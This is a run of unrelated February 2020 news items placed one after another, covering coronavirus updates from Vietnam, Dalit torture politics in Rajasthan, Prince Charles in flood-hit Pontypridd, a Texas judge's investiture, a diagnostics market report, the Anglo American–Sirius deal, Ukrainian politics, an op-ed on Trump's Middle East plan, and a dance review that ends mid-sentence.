Diamond Princess. They returned to Australia on Thursday aboard a Qantas flight. Some have now returned home while 170 were taken to Howard Springs, near Darwin, for two weeks of isolation. What you need to know today: Politics -- Vietnam is monitoring and assessing the effects of the U.S. recently removing the Southeast Asian country from a list of developing countries under Washington's countervailing duty laws, Doan Khac Viet, vice-spokesperson of the Vietnamese Ministry of Foreign Affairs said on Thursday. -- Khanh Hoa Province, located in south-central Vietnam, will have a new chairman as local officials cast a vote on Friday morning. Society -- A 73-year-old Vietnamese American is set to be discharged from the Hospital for Tropical Diseases in Ho Chi Minh City on Friday, after 20 days of treatment for the novel coronavirus disease there. -- The Mekong Delta of Vietnam is suffering from salinization and a heat wave, according to weather forecasters. -- Vietnam's conglomerate Vingroup announced on Thursday their funds totaling VND19.5 billion (US$840,000) for research to fight the new coronavirus that is hitting the country. Lifestyle -- The People's Committee of Da Nang has announced the cancelation of an annual fireworks display competition this year over the novel coronavirus diease. Education -- The chairman of the Ho Chi Minh City People's Committee, Nguyen Thanh Phong, signed a document on Thursday proposing that Deputy Prime Minister Vu Duc Dam, who is in charge of the Ministry of Health, Minister of Education and Training Phung Xuan Nha, and Minister of Labor, War Invalids, and Social Affairs Dao Ngoc Dung allow K-12 public schools nationwide to continue the current close-down until the end of March to prevent the spread of the novel coronavirus. Sports -- Vietnam maintain their presence in the top 15 Asian nations in the latest FIFA World Rankings published on Friday. World News -- Chinas Hubei province, which is at the center of the global novel coronavirus disease, said it had counted 411 new cases as of Thursday, up from 349 a day earlier but still the lowest since January 26, Reuters reported, adding that the death toll in the province rose by 115 to 2,144, mostly in the provincial capital of Wuhan, a city of 11 million now under virtual lockdown. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Rajesh Asnani By Express News Service JAIPUR: The politics in Rajasthan has intensified after torture of two Dalit youths in Nagaur district of the state. The Dalit face of BJP, Union Minister of State in Ministry of Water Resources, Arjun Ram Meghwal reached Nagaur on Friday to meet the victims' family. Meanwhile, a three-member Congress team also reached Nagaur on Friday, while state BSP officials stayed in Jaipur and met the state DGP. A Dalit youth was brutally beaten, stripped and tortured for alleged theft. He was first thrashed and after that petrol was poured into the private part of the victim. The video of this incident, which took place on Sunday, went viral on social media creating a stir in political circles. Talking to Media in Nagour, Meghwal said, "the system has become completely lawless under Congress Government. Dalit oppression has crossed all limits. After Nagaur incident, there is little morality left in Congress party. So the Chief Minister of the state should resign." The Congress committee included Master Bhanwarlal Meghwal who is Minister for Social Justice and Empowerment, Mahesh Sharma, General Secretary and Deoli-Uniara MLA Harish Chandra Meena. The committee will submit it's report to party president Sachin Pilot. ALSO READ | Petrol-dipped screwdriver inserted into Dalit man tortured for theft in Rajasthan There are 17 per cent Dalits in the state who have traditionally supported Congress. BSP won on 6 Dalit dominated assembly seats in December 2018 but recently, all the 6 BSP MLAs joined Congress. Bahujan Samaj Party supremo Mayawati had described the viral video of the oppression of Dalits as disturbing. "A viral video of the oppression of Dalit brothers in Nagaur in Congress-ruled Rajasthan is disturbing and reminds me of the traumatic events of Gujarat's Una etc. Clearly, the cruelty and exploitation of Dalits continue everywhere. This is extremely unfortunate. The government should take effective action, " tweeted Mayawati. BSP state president Samrath Singh along with few more party officials met the state DGP Bhupendra Singh on Friday and demanded security for the victims' family and a government job. The incident happened on 16 February and on 18 February the video of it went viral. T The police arrested the 5 accused on 19th and the other 2 on 20th February. Inspector-General of Police, Bipin Kumar Pandey has been sent to Nagaur for investigation under the supervision of the Crime Branch's Heinous Crime Unit. "Action against the culprits has already being initiated 7 people have been arrested under the most stringent sections of the law, if BJP and BSP are only interested in politics we can't do anything as far as taking corrective action is concerned we have ensured that the culprits do not go scot-free," Countered state Health Minister Raghu Sharma. Prince Charles has been praised for bravely climbing into a water-logged cellar to see the devastation caused by Storm Dennis. The Prince of Wales was in storm-hit Pontypridd in the Welsh valleys to meet and console victims who have lost their homes and businesses. Restaurant owner Joe Gambarini, 65, said: 'He didn't just want to hear about the damage he asked to see it with his own eyes. Prince Charles visits the town of Pontypridd affected by recent floods in Wales on Friday The Prince of Wales was in storm-hit Pontypridd in the Welsh valleys to meet and console victims who have lost their homes and businesses Charles visits the town of Pontypridd affected by recent floods Flooded houses on Sion Street after the River Taff burst its banks in Pontypridd, Wales 'The Prince asked if he could go down into the cellar, I warned him it was very slippery and I don't like going down there myself. 'Sometimes in Wales we feel like the forgotten people so his visit means a lot.' The Prince was in Pontypridd at the end of an action-packed day in South Wales which included a visit to a British Airways engineering base, a new Aston Martin plant and a hospice where he touchingly held the hand of a 97-year-old patient. Businessman Joe and his staff battled in vain to save thousands of pounds of baking machinery in the basement of his Prince's Restaurant in the town's Taff Street. Pricne Charles shares a joke with residents of flood-stricken Pontypridd in the Welsh valleys Prince Charles greets victims who have lost their homes and businesses in the floods The Prince of Wales during a visit to Pontypridd, Wales, which has suffered from severe flooding in the wake of Storm Dennis Prince Charles visits the town of Pontypridd affected by recent floods in Wales Flood water surrounds a church in Tirley, Gloucestershire on Friday They set up a pump but even that became swamped as the basement filled up with seven feet of water. Joe said: 'The Prince said he was sorry this has happened to us and asked if we were insured which we are. 'I told him we would get over it but I am fearful for the future and whether we can get insurance now. 'Prince Charles reminded me that he was an advocate of global climate change - I told him he was ahead of his time and he'd been proven right.' The Prince was welcomed by a crowd of 300 people as he walked down the town's main street which earlier this week was under three feet of water. Prince Charles has been praised for bravely climbing into a water-logged cellar to see the devastation caused by Storm Dennis Prince Charles greets a police officer as he visits the town of Pontypridd affected by recent floods The Prince of Wales meets flood victim Nigel Johns during a visit to Pontypridd, Wales He met staff from the dog rescue charity Hoperescue whose shop was wrecked by the force of the flood water. Volunteer Tom Humphreys, who also lost his home in the deluge, said: 'Prince Charles offered his sympathies and gave me some kind words at the end of a very difficult week. 'It's my 28th birthday today so his visit put a smile back on my face.' Labour leaders Jeremy Corbyn saw the flood damage in the Welsh Valleys earlier this week and Prince Charles added Pontypridd to a scheduled visit to South Wales. But locals said there was to sign of Boris Johnson and if he turns up now he won't be welcome. Builder Steve Jones, 55, said: 'Boris has missed the boat - he's been beaten to it by Corbyn and Charlie Boy. 'It's going to take a long time for Pontypridd to recover so we need all the help we can get.' Earlier the Prince was shown how British Airways is flying high in the world of aviation sustainability. He was shown around a Boeing 787-9, one of the world's most efficient aircraft, with the airline investing in a further 73 fuel-efficient and quieter aircraft before 2024. The Prince heard that duvets for First Class passengers are made of recycled plastic bottles and bedding is now wrapped in paper avoiding the use of 19 million sheets of plastic each year. Prince Charles with British Airways CEO Alex Cruz after being shown around a Boeing 787-9 Dreamliner during a tour of the British Airways Maintenance Centre on Friday The Prince of Wales and British Airways CEO Alex Cruz welcomed on board a Boeing 787-9 Dreamliner The Prince of Wales gestures as he speaks to staff members during a visit to the British Airways Maintenance Centre at Cardiff Airport, Wales, celebrating the company's 100th anniversary on Friday The airline is cutting its carbon footprint by fitting lighter seats, using lighter cabin trolleys, retracting landing lights earlier and taxi-ing to take off using a single engine on some flights. Prince Charles unveiled a plaque made of recycled aircraft parts at the Cardiff base which he opened 26 years ago and now employs 400 staff. British Airways' Chairman and Chief Executive, Alex Cruz, who took the Prince on a tour of the base said: 'It has been an honour to showcase our work in this area to His Royal Highness today. 'Every decision we make at British Airways now starts with a simple question: what does that mean for our sustainability aspiration? The Prince of Wales and British Airways CEO Alex Cruz walk down the steps after being shown around a Boeing 787-9 Dreamliner The Prince of Wales and British Airways CEO Alex Cruz speak with Julia Montague BA Customer Effectiveness Executive onboard a a Boeing 787-9 Dreamliner during a visit to the British Airways Maintenance Centre at Cardiff Airport The Prince of Wales speaks to staff members during a visit to the British Airways Maintenance Centre at Cardiff Airport 'We're now offsetting carbon emissions on all our flights within the UK, and were the first airline group to commit to achieving net zero carbon emissions by 2050.' Earlier Prince Charles visited the new Aston Martin Lagonda factory in St Athan and visited the CAF train factory of South Wales to officially open the facility. But in a day of trains, planes and automobiles the Prince showed his compassionate side consoling flood victims and patients at a Marie Curie Hospice in the Welsh Capital. The heir to the throne shared a joke and held the hand of Maureen Russell, 97, bringing a smile to her face. The first black judge appointed to the bench in the U.S. District Courts Western District of Texas took the oath of office and donned his black robe at a formal investiture ceremony Thursday before several hundred cheering well-wishers. Jason Kenneth Pulliam, 48, is also the youngest member of the federal judiciary in that district. His appointment filled a vacancy that had persisted for more than a decade. The ceremony marked the end of a process that began nearly a year ago when President Donald Trump nominated Pulliam for the post. With Pulliams lifetime appointment, the judiciary bench in the Western District of Texas is now full, which means litigants wont wait as long to have their day in court, said U.S. Senator John Cornyn. The two-hour investiture at the Lila Cockrell Theatre in downtown San Antonio displayed an air of formality and ceremonial flourishes. Chief U.S. District Judge Orlando Garcia presided over the special session of the court. Western District of Texas U.S. Marshal Susan Pamerleau kicked off the event with the official cry of the court. All of the Western District of Texas federal judges, also wearing their black robes, sat on the stage. A court reporter kept a detailed record of the proceedings. Nearly four dozen other judges, also clad in black robes, sat on the front rows among the audience. Pulliam, a former Marine who originally hails from Brooklyn, choked up with tears as he described his humble beginnings and paid tribute to his mother. She never discouraged me, he said of his mother, Katherine Pulliam, who sat in the audience. The judge recalled that she told him to dream big despite our economic circumstances. On ExpressNews.com: First African-American federal judge in San Antonio takes bench He described walking to school through a community filled with drugs and violence. He said he also experienced discrimination. I also know what its like to be the first person in their family to face the daunting challenge of attending college without an example of success, Jason Pulliam told the crowd. None of these experiences caused me to become bitter or lose faith in the greatness of America or its people. Ive also experienced tremendous generosity and kindness Ive learned that hard work and preparation create opportunities that seem like miracles from above. U.S. District Judge Kenneth Hoyt of the Southern District of Texas, who is based in Houston, noted that Pulliams road to success was shaped by family, faith and fire in the belly. Pulliams family was the first African-American family to live on their block in Brooklyn. In his middle school years, Pulliam enrolled in a predominantly white school outside his neighborhood and had to outrun white youths who chased him while he was going home. He went on to earn a bachelors degree in political science from the City University of New York, graduating cum laude. He also earned a masters in political science from CUNY-Brooklyn College, then obtained his law degree from Texas Southern Universitys Thurgood Marshall School of Law in Houston, where he graduated cum laude. He showed a thirst for learning, recalled his friend, Todd Webb. Judge Pulliam is a fine example success does not come overnight for most of us, Webb told the young students in the audience. On ExpressNews.com: Local and federal officials break ground for a new U.S. courthouse in San Antonio Pulliam previously worked as an attorney in private practice and served as judge of Bexar County Court No. 5 before he was appointed in 2015 as a justice to the Texas Fourth Court of Appeals. U.S. Circuit Judge Jerry Smith of the Fifth Circuit Court of Appeals brought some levity to the ceremony as he welcomed Pulliam to the U.S. District Court bench. Judge Pulliam, I look forward to grading your papers, Smith said. Although you lose your First Amendment rights and work even harder than before, at least now the lawyers laugh at your jokes. Pulliam rose to the top from a pool of dozens of very well-qualified candidates, said David Prichard, chairman of the Federal Judicial Evaluation Committee. The judge underwent a thorough and comprehensive background check by the FBI and sat through numerous interviews. Trump nominated him for the judicial seat in March 2019. The U.S. Senate confirmed Pulliams appointment on July 31, and Trump signed his commission to the bench on Aug. 5. Cornyn noted there have never been as many investitures happening quite as fast as those in the last three years. Since Trump took office in 2016, the U.S. Senate has confirmed 190 federal judges, Cornyn noted. Pulliam said he will do his best to be a positive force for others. I hope that I have said something that will spark your courage to dream big to dare to believe in the power of your dreams, to dare to believe that you can be more than any socioeconomic status, he told the students in the audience. The American Dream belongs to us all. So dream big and reach for the stars. Peggy OHare reports on the census, demographics and occasionally crime and general assignments in the San Antonio and Bexar County area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | pohare@express-news.net | Twitter: @Peggy_OHare Point of Care Diagnostics Market 2020 Global Industry Analysis to 2026 is latest report on Global Point of Care Diagnostics Market, published by Fortune Business Insights. According to report Point of Care Diagnostics Market to rise at healthy 6.6% Compound Annual Growth Rate and Reach USD 28,379.6 million by 2026. The Market for POC Diagnostics was valued USD 17,019.5 million in 2018. Point of Care Diagnostics (POC Diagnostics) also known as Point-of-care testing is simple method of Diagnostics (test) used during patient care. Report segments Point of Care Diagnostics Market Product (Blood Glucose Monitoring, Infectious Diseases, Cardiometabolic Diseases, Pregnancy and Fertility Testing Products, Hematology Testing Products, Others), By End User (Hospitals Bedside, Physicians Office Lab, Urgent Care & Retail Clinics, Home and Self Testing) and Regional Forecast 2019-2026. Some of the major companies that are present in the global Point of Care Diagnostics market are Abbott, Becton, Dickinson and Company (BD), Danaher, Quidel Corporation, EKF Diagnostics Holdings plc, Sekisui Diagnostics, Instrumentation Laboratory (A Werfen Company), Siemens Healthcare GmbH, Johnson & Johnson Services, AccuBioTech Co, Nova Biomedical, Chembio Diagnostic Systems, PTS Diagnostics. Get Sample Point of Care Diagnostics Market Report Global Point of Care Diagnostics Market Highlights: According to report, the rising prevalence of infectious diseases, especially in developing countries is expected to drive the market in the forthcoming years. The market is witnessing impressive growth opportunities owing to the rising demand for efficient diagnostics such as intensive care units. This, along with the rise in medical procedures and hospitalization, is enabling growth in the market. The report largely covers a detailed analysis of several aspects which include market drivers, opportunities, trends, restraints, as well as threats. These aspects will help our readers to remain updated about the present and future scenario of the market. Furthermore, the report offers historical data including forecasts on market size and segments. This will further help our readers to identify growth opportunities and market sustainability. Point of Care Diagnostics Market Segment Analysis: Point of Care Diagnostics Market Size, Share & Industry Analysis By Type (Surgical Lasers, Dental Lasers, Aesthetic Lasers, Others), By Product (Laser Systems, Consumables), By End User (Hospitals, Specialty Clinics), and Regional Forecast 2019 2026. Point of Care Diagnostics Market Regional Insights: North America to Emerge Dominant Following Rising Demand for Highly Advanced POC Devices. From a geographical standpoint, North America is expected to maintain its dominance in the global POC market during the forecast period. As per the report, the market was valued at USD 6125.5 Mn in 2018 and the demand continues to increase in this region in the foreseeable future. The rising demand for technologically-advanced POC devices with highly accurate results is contributing to the growth of the market. The rising prevalence of chronic diseases is expected to drive the market in North America. The market in Asia Pacific is expected to register high growth over the forecast years owing to the higher contributions from countries such as India and China. The growth is attributable to the rising awareness about POC diagnostics in these countries. This, coupled with the rising demand for accurate diagnostics, is expected to create growth opportunities for the market in the forecast years. Rising developments in healthcare infrastructure and increasing healthcare spending are other factors responsible for the high growth of the market in this region. As per the International Diabetes Foundation (IDF), the population suffering from diabetes mellitus is likely to reach around 87 Million in India, whereas 62.6 Million in China. The rising prevalence of this disease is expected to fuel demand for POC devices in the forecast period. Point of Care Diagnostics Market Growth And Restraints Analysis: Blood Glucose Monitors to Hold 61.1% Share Owing to Launch of New Products. Among different products, blood glucose monitoring products cover the highest share of 61.1% in the global market. The growth of this segment is primarily driven by the launch of new products and the increasing need for efficient testing procedures at home. Another factor responsible for the high demand of these products is the continuous need for the treatment and diagnosis of patients suffering from diabetes. These products are high in demand than other products owing to their ease of use and convenience. The point of care diagnostic market size is expected to increase owing to the rising demand for these products from hospitals, retail clinics, and home among others. Point of diagnostics devices offers immediate results in the diagnosis and monitoring of chronic diseases such as diabetes, cancer, cardiac disorders, and others. The rising awareness about POC testing in developed as well as developing regions will witness growth at a robust pace in the years to come. The emergence of highly-advanced and technological products is further propelling growth in the market. Ask for Customization Highlights of the Report: In-depth analysis of various insights, namely, Point of Care Diagnostics Market trends, growth drivers, opportunities, and other related challenges. Comprehensive details of key market players, their core competencies, and Point of Care Diagnostics Market share. The potency of suppliers and buyers to make better business decisions. Lists out the market size in terms of volume. Key questions answered in the report: What will the market growth rate of Point of Care Diagnostics market in 2026? What are the key factors driving the global Point of Care Diagnostics market? Who are the key manufacturers in Point of Care Diagnostics market space? What are the market opportunities, market risk and market overview of the Point of Care Diagnostics market? What are sales, revenue, and price analysis of top manufacturers of Point of Care Diagnostics market? Who are the distributors, traders and dealers of Point of Care Diagnostics market? What are the Point of Care Diagnostics market opportunities and threats faced by the vendors in the global Point of Care Diagnostics industry? What are sales, revenue, and price analysis by types and applications of Point of Care Diagnostics market? What are sales, revenue, and price analysis by regions of Point of Care Diagnostics industry? Table of Content: Introduction Research Scope Market Segmentation Research Methodology Definitions and Assumptions Executive Summary Market Dynamics Market Drivers Market Restraints Continued Related News: Aesthetic Devices Market High Intensity Focused Ultrasound Market 3D Printing Medical Devices Market Clinical Laboratory Services Market About Us: Fortune Business Insights offers expert corporate analysis and accurate data, helping organizations of all sizes make timely decisions. We tailor innovative solutions for our clients, assisting them address challenges distinct to their businesses. Our goal is to empower our clients with holistic market intelligence, giving a granular overview of the market they are operating in. Our reports contain a unique mix of tangible insights and qualitative analysis to help companies achieve sustainable growth. Our team of experienced analysts and consultants use industry-leading research tools and techniques to compile comprehensive market studies, interspersed with relevant data. At Fortune Business Insights we aim at highlighting the most lucrative growth opportunities for our clients. We therefore offer recommendations, making it easier for them to navigate through technological and market-related changes. Our consulting services are designed to help organizations identify hidden opportunities and understand prevailing competitive challenges. Contact Us: Fortune Business Insights Pvt. Ltd. 308, Supreme Headquarters, Survey No. 36, Baner, Pune-Bangalore Highway, 411045, Maharashtra, India. Phone: US: +1 424 253 0390 UK: +44 2071 939123 APAC: +91 744 740 1245 Email: sales@fortunebusinessinsights.com Anglo American has defended its 405million bid for struggling Yorkshire potash miner Sirius Minerals as it faces a mounting backlash over the takeover. A day after one of the City's best-known hedge funds joined retail shareholders in demanding a higher offer, Anglo chief executive Mark Cutifani insisted the deal is 'fair and reasonable'. The FTSE 100-listed miner has offered to buy Sirius for 5.5p per share in a rescue deal that would save it from almost certain collapse within weeks. A day after one of the City's best-known hedge funds joined retail shareholders in demanding a higher offer, Anglo chief executive Mark Cutifani insisted the deal is 'fair and reasonable' But Anglo is being put under growing pressure by private and institutional investors to increase the bid, which many believe is undervalued. On Tuesday, Crispin Odey's hedge fund Odey Asset Management described the offer as a 'mockery'. But Anglo has refused to consider increasing the price and Cutifani yesterday said the price it has put forward is justified because of the amount of money it will take to develop Sirius's part-built Woodsmith mine. The 61-year-old said: 'We understand that people are disappointed and the price is not what some people hoped for. 'We understand the point, but it still needs about 2.6billion invested in it going forward. There's still a lot of work to do on the marketing side.' Located in the North York Moors National Park, close to the seaside town of Whitby, the mine needs two mile-deep shafts to access a deposit of agricultural fertiliser known as polyhalite. Sirius began trying to raise money and support for the project back in 2011 and it quickly built up a strong following among retail investors, many of whom are locals. It had around 85,000 at the last count, holding almost 50 per cent of its shares. Concerns are growing that anger among these shareholders who face losing huge sums of money, and in some cases their life savings could see them vote against the deal at a do-or-die vote on March 3. Anglo will need to clinch the support of 75 per cent of votes cast for its bid to go ahead. The mine also promised jobs and an injection of cash into the local economy in one of the most deprived parts of Britain. Asked whether Anglo was worried about whether it has gained enough support from the local community, Cutifani said: 'We understand how important this project is to the community of North Yorkshire. 'The most important thing is we can offer a lot more certainty to the local community by backing the project and throwing the full weight of Anglo's balance sheet behind it.' Anglo released its full-year results yesterday. It reported a 9 per cent rise in profits to 7.8billion in 2019, while revenue jumped 8 per cent to 23billion. But its De Beers diamond division brought in the worst set of earnings since Anglo bought it in 2012. Revenue in the division plummeted 24 per cent to 3.6billion, while profits plunged 87 per cent to 36million. Anglo shares climbed 1.7 per cent, or 34.5p, to 2122.5p. President of Ukraine suspects that people were incited by those who coordinate agitation against land reform Open source President of Ukraine Volodymyr Zelensky believes that ordinary people are not involved in organizing protests in Novi Sanzhary. He stated this while delivering his speech at a business forum, which was broadcasted by 112 Ukraine TV Channel. "You know what happened there. Unfortunately, I cannot call it human actions and I do not want to pick up other words. Unfortunately, this happens. It is not just because of people. I think ordinary people are not related to this. Unfortunately, it was political support for this pseudo-action that took place in some cities," he stated. The head of state also added that, in his opinion, people were incited by those who coordinate agitation against land reform. "I think that we will see very soon that the faces of people who stand against the land reform and stay of our citizens in Ukraine will match. Unfortunately," Zelensky said. As we reported earlier, police detained 24 participants of the protests against the placement of Ukrainians, evacuated from Wuhan, China, in Novi Sanzhary. The relevant statement was made by the Head of Ukraine's National Police Ihor Klymenko. According to him, 17 people were arrested in the morning, seven more protesters - in the evening. Watertown, NY (13601) Today Light snow this morning will transition to snow showers this afternoon. High 33F. Winds SW at 15 to 25 mph. Chance of snow 70%. Snow accumulating 1 to 3 inches. Higher wind gusts possible.. Tonight Variable clouds with snow showers. Low 27F. Winds SW at 5 to 10 mph. Chance of snow 60%. Snow accumulations less than one inch. The Congress on Friday said the upcoming visit of US President should not become an extension of the US presidential election campaign and should yield concrete results for India. There should be "gravitas, seriousness and depth" in Trump's visit as well as "tangible outcomes on substantive issues" that should be announced during the joint declaration to be made by Prime Minister Narendra Modi and President Trump, senior Congress spokesperson Anand Sharma said. Raising concerns about withdrawal of General System of Preference (GSP) status to India by the US, reduction in H1B visas and restoration of social security of Indian professionals, Sharma said he hoped Prime Minister Narendra Modi will bring these to the table during his meeting with Trump. The former Union minister said the visit should not become a sequence of the US presidential election campaign for the Indian diaspora and the results of the visit should be in the interest of the nation. "This visit should not become an extension of the US precedential campaign for the Indian diaspora. We do not become active party in the elections in another country. This mistake was made in Texas at the 'Howdy Modi' event and the Prime Minister ought to be careful as these are setting wrong precedents," he said. Stressing that the Indo-US relationship is strategic and expands to all areas of cooperation including nuclear and defence, Sharma said the ties between the two countries cannot be merely transactional. "This visit should not be reduced to a photo opportunity or a PR exercise that would devalue the importance of our partnership, that would also not be in India's interest," he said. The Congress leader said the Prime Minister and the government must keep in mind India's sovereignty, self-respect and interest while conducting this visit. "There have already been many arbitrary decisions which have affected our engagement with other strategic partners. We are a sovereign country and have the right to engage with our other partner countries on our terms," he said, adding that India's strategic partnerships with the other countries should be independent. "We hope... our country will hear enhancement of H1-B visas, restoration of GSP for India which provides preferential market access for Indian produce to America, and also reversing the present association and recognizing India as a developing country. "An agreement on the refund of the social security contributions that are regularly being made by Indian IT professionals over the years and they run into billions of dollars, these are outstanding issues," he said. Sharma also lamented the contrast between the simplicity and philosophy of Mahatma Gandhi and the government's extravaganza over Trump's visit. The Congress leader questioned the government's remarks on Thursday that the entire event at Motera stadium in Ahmedabad is being hosted by a 'Nagrik Abhinandan Samiti'. "Is the US President coming on the invite of the Nagrik Abhinandan Samiti? The government should desist from being hypocritical... The prime minister should openly say that Trump is his friend and he is making grand arrangements," he said. By Shlomo Ben-Ami TEL AVIV Nobody should be surprised that U.S. President Donald Trump's Middle East peace proposal is heavily tilted toward the Israelis. What is surprising is that, rather than rejecting Trump's proposal, the world has left the Palestinians largely on their own. While dismissing the Palestinians' national yearnings with the patronizing promise to "improve their lives," the Trump peace plan embraces Israel's national narrative that it alone has valid historical claims to Judea and Samaria, the Jews' biblical homeland. So, while it would give the Palestinians their own state, it would be a fragmented territory covering Gaza and 70 percent of a West Bank dotted with Israeli settlements and surrounded on all sides by Israeli-annexed territory. Its capital would be located in a suburb of East Jerusalem, which would remain Israel's undivided capital. The plan ignores Palestinian demands for the right of return to homes left when Israel was established in 1948 a right that was recognized at the time by United Nations General Assembly Resolution 194. Moreover, in line with Israel's far-right ethnocratic ambitions, the border would be drawn in a way that strips 300,000 Israeli Arabs of their citizenship, making them citizens of the Palestinian state. The Palestinian territories would be connected by a maze of tunnels and bridges, and much like the Bantustans of apartheid South Africa, they would be subject to overwhelming Israeli military control. Anyone entering the new Palestine by air, sea, or land would have to go through Israel. Meanwhile, Palestinians would be prohibited from creating their own armed forces or engaging in any activities "that adversely affect the state of Israel's security" as determined by Israel's government. Likewise, the Palestinians would have to earn the right to this sham state by disarming Hamas and proving not to any international body, but to Israel and the United States that they have created a democratic system governed by the rule of law. In presenting such a deeply unfair plan, Trump has destroyed any credibility that the U.S. may have still had as an honest mediator. Moreover, he has undermined the belief crucial for progress toward a fair deal that internationally agreed principles of the Israeli-Palestinian peace process, from the need to adhere to the pre-1967 borders to the illegality of Israeli settlements, are unassailable. Given how willing the rest of the world seems to be to abandon the Palestinians, these losses will not be easy to reverse, even if Trump loses the November presidential election and his successor abandons the plan, as candidates like Bernie Sanders and Elizabeth Warren seem prepared to do. The fact that anyone is taking Trump's skewed plan seriously is a testament, first and foremost, to the radical transformation that the Middle East has undergone in recent years. Solidarity with the Palestinians used to be the glue that held together an otherwise fragmented Arab world; now, their plight is a nuisance, a burden, and above all an obstacle to rapprochement with Israel. Yes, the Arab League repudiated the U.S. plan at a meeting of its foreign ministers in Cairo. But the truth, as Lebanon's Hezbollah movement put it, is that Trump's "deal of shame" would not have happened without the "complicity and betrayal" of several Arab states. The ambassadors of Bahrain, Oman, and the United Arab Emirates participated in the White House unveiling ceremony, implying these countries' approval. Moreover, despite "renewing its assertion" of support for the Palestinian people, Saudi Arabia noted that it "values the efforts" of the Trump administration in "developing a comprehensive peace deal between the Israeli and Palestinian sides." Given Trump's apparent loyalty to Saudi Arabia based, not least, on lucrative arms deals the kingdom's crown prince, Mohammed bin Salman, was probably privy to the plan's contents before it was released. In Jordan, King Abdullah initially warned that Israel's annexation of the Jordan Valley would have serious security consequences. But he subsequently advised other countries to "look at the glass half full." Judging by its ambiguous attitude toward Palestinian statehood, one must wonder whether Jordan would prefer having as its neighbor Israel, with which it has historically colluded to rein in Palestinian aspirations, rather than a Palestinian state. Similarly, Egypt's foreign ministry called upon both sides "to carefully consider" the peace plan, and even claimed that creating an independent and sovereign state in the occupied territories would restore all the "legitimate rights" of Palestinians. And though Tunisia's president condemned the peace plan as "the injustice of the century," the country's ambassador to the U.N. was soon sacked for leading the challenge against it in the Security Council. But it is not only the Arab world that is letting down the Palestinians. The European Union's high representative for foreign affairs and security policy, Josep Borrell, strongly condemned the plan. But his unilateral statement was needed precisely because some EU countries including the Czech Republic, Hungary, and Italy blocked a shared resolution. France, for its part, gave the plan a cautious welcome. Beyond the EU, the United Kingdom's government hailed the Trump peace plan as "a serious proposal" and "a positive step forward." And despite officially condemning the plan for "contradicting U.N. resolutions," Russia stands to gain from what a Moscow Times editorial called the "unilaterally imposed humiliating terms" of the deal. This "provides a precedent for major powers dictating terms to weaker ones" and vindicates Russia's occupation of Crimea, "Russia's West Bank." In fact, "limited sovereignty" was exactly what the Kremlin wanted to give the former Soviet republics. If, with the probable connivance of the Trump administration, Israel annexes its West Bank settlements, the paradigm shift in the Israeli-Palestinian peace process would be complete. Israel's status as an apartheid state would be officially confirmed. And the Palestinians will face a stark choice: submit or struggle. If they choose the latter, it had better be a diplomatic struggle: a third Intifada would be calamitous for their cause. Boycotting America, still an indispensable power for an equitable regional solution, proved to be a wrongheaded Palestinian policy. Shlomo Ben-Ami, a former Israeli foreign minister, is vice president of the Toledo International Center for Peace. He is the author of "Scars of War, Wounds of Peace: The Israeli-Arab Tragedy." His commentary was distributed by Project Syndicate (www.project-syndicate.org). Australian's first head of the International Chamber of Commerce has opened up about how a secret weapon has helped him win over world business leaders. Former diplomat and lawyer John Denton moved to Paris with wife Jane Turner for the prestigious role as the ICC secretary-general 18 months ago. His Logie-winning actress and comedian wife is best known as Kath Day-Knight from Australian iconic television series Kath and Kim. He has long credited his better half as being more valuable to his high-flying career than he has been to hers in showbusiness. Mr Denton admits his link to the show has helped break the ice and and opened doors with some of the world's biggest movers and shakers in politics and business. He recalled how one senior political leader was unable to hide his delight of meeting him during a business trip in Brazil and has had similar encounters in the US, Europe and Asia. International Chamber of Commerce Secretary General John Denton says his close connection to Kath Day-Knight (pictured), the much-loved chardonnay-loving foxy moron from Australian iconic television series Kath and Kim. John Denton is pictured with Jane Coombs, the New Zealand Ambassador to France 'It's absolutely crazy how many people I meet who know and love the show. Jane actually is the face of Australia to many people,' Mr Denton told Sydney Morning Herald. Debuting on the ABC in 2002, Kath and Kim remains one of Australia's most popular show loved by millions of fans worldwide. The first episode of the fourth and final season on Channel Seven in 2007 attracted a national audience 2.521 million, the highest rating ever first episode in Australian television history until Underbelly: A Tale of Two Cities aired two years later. Mr Denton has previously spoken about how Kath and Kim has given him instant credibility with strangers in some of the world's biggest cities, including New York, London, Rome and Beijing. 'If they know one thing about Australia, over and above the classic flora and fauna, theyve seen or heard of Kath and Kim,' he told the Australian Financial Review in 2016. John Denton says his wife Jane Turner, (pictured in character as Kath Day-Knight with on-air husband Kel) has been more valuable to his high-flying career than he has to hers 'Theyre bowled away that Im married to Kath; Im an instant handbag celebrity, so its really helped my career. 'What was confronting was the speed at which the character took over the vernacular of Australia. Kath is kind of like this everywoman: a mother and entrepreneur.' Mr Denton and Ms Turner first met as teenagers and have three adult children. In the 1980s and early 1990s, she put her own aspirations on hold for her husband, who served as a diplomat posted in Moscow and Baghdad before returning to Australia for his wife's career. The story told in Kaha:wi Dance Theatre's contemporary dance piece The Mush Hole is epic and inter-generational in its scope, and alternately horrifying and tragic in its power. Even at a quickly paced 65 minutes, know that this isn't just another kids show at MTYP. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. The story told in Kaha:wi Dance Theatre's contemporary dance piece The Mush Hole is epic and inter-generational in its scope, and alternately horrifying and tragic in its power. Even at a quickly paced 65 minutes, know that this isn't just another kids show at MTYP. The nickname "The Mush Hole" came from the staple food served to Indigenous children at the Mohawk Institute in Brantford, Ont. The food was intended to sustain, not to nourish. (Eating apples was forbidden for the children, a fact used here to reference the Christian notion of original sin, except in this perverse environment, the sin is being born Indigenous.) Likewise, the "school" was not there to teach, but to break its students, either with formal punishments, such as strapping, or with the secret abuses that took place in the school's noisiest rooms (so that the victims' cries could not be heard). Like the Magdalene Laundries of Ireland, it was also a place that exploited forced labour. The piece opens with a projected quote from Canada's first prime minister, John A. MacDonald. It's a shocking admission to the schools being created to deal as harshly as possible with the "Indian Problem." Seen today, it reads as nothing less than a written confession to cultural genocide. Against that background, we are introduced to five characters. Ernest (Jonathan Fisher) and Mabel (the work's creator, Santee Smith) are parents whose children have been taken. They themselves are former residents of the institute. Their two children, Walter (Montana Summers) and Grace (Raelyn Metcalfe), are effectively imprisoned in the institute alongside a girl called The One Who Got Away (Julianne Blackbird). Like any convicts, they also go by their numbers. It's tough material. It raises the question of the advisability of performing it in a stylized dance format for older children, as it is here. (MTYP advises that the content is for children 13 and older.) At a morning school performance, there's the sense that a certain percentage of kids just aren't having it when it comes to seeing emotions interpreted through movement 